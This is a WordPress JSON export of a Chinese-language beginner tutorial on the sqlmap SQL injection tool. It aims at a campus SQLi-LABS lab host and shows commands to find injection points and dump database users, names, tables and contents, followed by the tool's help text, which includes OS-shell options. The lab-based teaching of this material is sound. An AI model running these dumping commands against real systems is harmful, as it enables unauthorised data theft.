{"id":78,"date":"2022-06-04T01:46:25","date_gmt":"2022-06-03T17:46:25","guid":{"rendered":"https:\/\/010421.xyz\/?p=78"},"modified":"2022-06-04T17:01:26","modified_gmt":"2022-06-04T09:01:26","slug":"%e3%80%90sql%e6%b3%a8%e5%85%a5%e3%80%91sqlmap%e4%bd%bf%e7%94%a8%e6%95%99%e7%a8%8b","status":"publish","type":"post","link":"https:\/\/www.010421.xyz\/index.php\/2022\/06\/04\/%e3%80%90sql%e6%b3%a8%e5%85%a5%e3%80%91sqlmap%e4%bd%bf%e7%94%a8%e6%95%99%e7%a8%8b\/","title":{"rendered":"\u3010SQL\u6ce8\u5165\u3011Sqlmap\u5165\u95e8\u4f7f\u7528\u6559\u7a0b"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">1\u3001\u5de5\u5177\u4e0b\u8f7d<\/h1>\n\n\n\n<p><a href=\"http:\/\/10.61.32.102:65000\/sharing\/gqrtbgBRi\">\u6821\u5185\u4e0b\u8f7d\u5730\u5740<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/sqlmap.org\/\" data-type=\"URL\" data-id=\"https:\/\/sqlmap.org\/\">\u5b98\u7f51\u4e0b\u8f7d\u5730\u5740<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">2\u3001\u5b66\u4e60\u73af\u5883<\/h1>\n\n\n\n<p>\u672c\u673a\uff1aPython3<\/p>\n\n\n\n<p>\u9776\u673a\uff1a<a href=\"http:\/\/sqli-labs.010421.xyz:81\/\">\u6821\u5185SQLi-LABS<\/a>\u3001\u5176\u4ed6\u81ea\u5efa\u9776\u673a\u3001\u5176\u4ed6\u6e17\u900f\u6d4b\u8bd5\u73af\u5883<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">3\u3001\u4f7f\u7528\u6559\u7a0b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">1\u3001\u5165\u95e8\u6559\u7a0b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1\u3001\u8f6f\u4ef6\u8fd0\u884c<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-6-edited.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-6-edited.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-114\" width=\"837\"  sizes=\"(max-width: 1802px) 100vw, 1802px\" \/><\/div><figcaption>Sqlmap\u76ee\u5f55\u7ed3\u6784<\/figcaption><\/figure>\n\n\n\n<p>\u5728Sqlmap\u6587\u4ef6\u5939\u53f3\u952e\u70b9\u51fb\u7a7a\u767d\u5904\uff0c\u70b9\u51fb\u5728\u7ec8\u7aef\u4e2d\u6253\u5f00\uff0c\u6216\u8005\u5728\u5730\u5740\u680f\u4e2d\u8f93\u5165cmd\u3002<\/p>\n\n\n\n<p>\u5728\u7ec8\u7aef\u4e2d\u8f93\u5165\u4ee5\u4e0b\u4ee3\u7801\uff0c\u5e76\u56de\u8f66\uff0c\u82e5\u80fd\u6b63\u786e\u8fd4\u56dePython\u7248\u672c\uff0c\u5219Python\u73af\u5883\u6b63\u5e38\uff0c\u82e5\u65e0\u6cd5\u8fd4\u56de\u7248\u672c\uff0c\u4f46\u5df2\u7ecf\u5b89\u88c5Python\uff0c\u8bf7\u786e\u8ba4\u73af\u5883\u53d8\u91cf\u662f\u5426\u6b63\u786e\uff0c\u5b89\u88c5Python\u65f6\u8bf7\u52fe\u9009\u6dfb\u52a0\u5230path\u4e2d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python --version<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"911\" height=\"89\" data-original=\"https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-115\"  sizes=\"auto, (max-width: 911px) 100vw, 911px\" \/><\/div><figcaption>Python\u7248\u672c<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">2\u3001\u5bfb\u627e\u6ce8\u5165\u70b9<\/h3>\n\n\n\n<p>\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u6ce8\u5165\u70b9\u68c0\u6d4b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-9-1024x453.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"453\" data-original=\"https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-9-1024x453.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-117\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><figcaption>\u627e\u5230\u6ce8\u5165\u70b9<\/figcaption><\/figure>\n\n\n\n<p>\u82e5\u8fd4\u56de\u5927\u81f4\u4e0a\u56fe\u5185\u5bb9\uff0c\u5219\u8868\u660e\u627e\u5230\u4e86\u6ce8\u5165\u70b9\u3002\u540e\u7eed\u64cd\u4f5c\u53ef\u4ee5\u76f4\u63a5\u4ece\u5b58\u6863\u4e2d\u8c03\u53d6Payload\uff0c\u65e0\u9700\u7b49\u5f85\u5bfb\u627e\u6ce8\u5165\u70b9\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3\u3001\u6f0f\u6d1e\u5229\u7528<\/h3>\n\n\n\n<p>\u83b7\u53d6\u6570\u636e\u5e93\u767b\u5f55\u7528\u6237\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1 --users<\/code><\/pre>\n\n\n\n<p>\u83b7\u53d6\u6570\u636e\u5e93\u5b58\u5728\u7684\u5e93\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1 --dbs<\/code><\/pre>\n\n\n\n<p>\u83b7\u53d6\u6570\u636e\u5e93\u5b58\u5728\u7684\u8868\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1 --tables<\/code><\/pre>\n\n\n\n<p>\u5c06\u6570\u636e\u5e93\u5168\u90e8\u8868\u5185\u5bb9\u4e0b\u8f7d\u5230\u672c\u5730csv\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1 --dump<\/code><\/pre>\n\n\n\n<p>\u6307\u5b9a\u6570\u636e\u5e93\u540d\u3001\u8868\u540d\u4e0b\u8f7d\u6570\u636e\u5230\u672c\u5730csv\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py http:\/\/10.61.32.103:81\/Less-1\/?id=1 -D security -T users --dump<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-10-1024x445.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" data-original=\"https:\/\/010421.xyz\/wp-content\/uploads\/2022\/06\/\u56fe\u7247-10-1024x445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-120\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">4\u3001\u5e2e\u52a9\u6587\u6863<\/h3>\n\n\n\n<p>\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u83b7\u53d6\u5b98\u65b9\u5e2e\u52a9\u6587\u6863<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python sqlmap.py --help<\/code><\/pre>\n\n\n\n<p>\u73b0\u8d34\u51fa\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Usage: sqlmap.py &#91;options]\n\nOptions:\n  -h, --help            Show basic help message and exit\n  -hh                   Show advanced help message and exit\n  --version             Show program's version number and exit\n  -v VERBOSE            Verbosity level: 0-6 (default 1)\n\n  Target:\n    At least one of these options has to be provided to define the\n    target(s)\n\n    -u URL, --url=URL   Target URL (e.g. \"http:\/\/www.site.com\/vuln.php?id=1\")\n    -g GOOGLEDORK       Process Google dork results as target URLs\n\n  Request:\n    These options can be used to specify how to connect to the target URL\n\n    --data=DATA         Data string to be sent through POST (e.g. \"id=1\")\n    --cookie=COOKIE     HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")\n    --random-agent      Use randomly selected HTTP User-Agent header value\n    --proxy=PROXY       Use a proxy to connect to the target URL\n    --tor               Use Tor anonymity network\n    --check-tor         Check to see if Tor is used properly\n\n  Injection:\n    These options can be used to specify which parameters to test for,\n    provide custom injection payloads and optional tampering scripts\n\n    -p TESTPARAMETER    Testable parameter(s)\n    --dbms=DBMS         Force back-end DBMS to provided value\n\n  Detection:\n    These options can be used to customize the detection phase\n\n    --level=LEVEL       Level of tests to perform (1-5, default 1)\n    --risk=RISK         Risk of tests to perform (1-3, default 1)\n\n  Techniques:\n    These options can be used to tweak testing of specific SQL injection\n    techniques\n\n    --technique=TECH..  SQL injection techniques to use (default \"BEUSTQ\")\n\n  Enumeration:\n    These options can be used to enumerate the back-end database\n    management system information, structure and data contained in the\n    tables\n\n    -a, --all           Retrieve everything\n    -b, --banner        Retrieve DBMS banner\n    --current-user      Retrieve DBMS current user\n    --current-db        Retrieve DBMS current database\n    --passwords         Enumerate DBMS users password hashes\n    --tables            Enumerate DBMS database tables\n    --columns           Enumerate DBMS database table columns\n    --schema            Enumerate DBMS schema\n    --dump              Dump DBMS database table entries\n    --dump-all          Dump all DBMS databases tables entries\n    -D DB               DBMS database to enumerate\n    -T TBL              DBMS database table(s) to enumerate\n    -C COL              DBMS database table column(s) to enumerate\n\n  Operating system access:\n    These options can be used to access the back-end database management\n    system underlying operating system\n\n    --os-shell          Prompt for an interactive operating system shell\n    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC\n\n  General:\n    These options can be used to set some general working parameters\n\n    --batch             Never ask for user input, use the default behavior\n    --flush-session     Flush session files for current target\n\n  Miscellaneous:\n    These options do not fit into any other category\n\n    --wizard            Simple wizard interface for beginner users<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>1\u3001\u5de5\u5177\u4e0b\u8f7d \u6821\u5185\u4e0b\u8f7d\u5730\u5740 \u5b98\u7f51\u4e0b\u8f7d\u5730\u5740 2\u3001\u5b66\u4e60\u73af\u5883 \u672c\u673a\uff1aPython3 \u9776\u673a\uff1a\u6821\u5185SQLi-LABS\u3001\u5176 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-78","post","type-post","status-publish","format-standard","hentry","category-safe"],"_links":{"self":[{"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/posts\/78","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=78"}],"version-history":[{"count":5,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/posts\/78\/revisions"}],"predecessor-version":[{"id":123,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/posts\/78\/revisions\/123"}],"wp:attachment":[{"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=78"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=78"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.010421.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=78"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}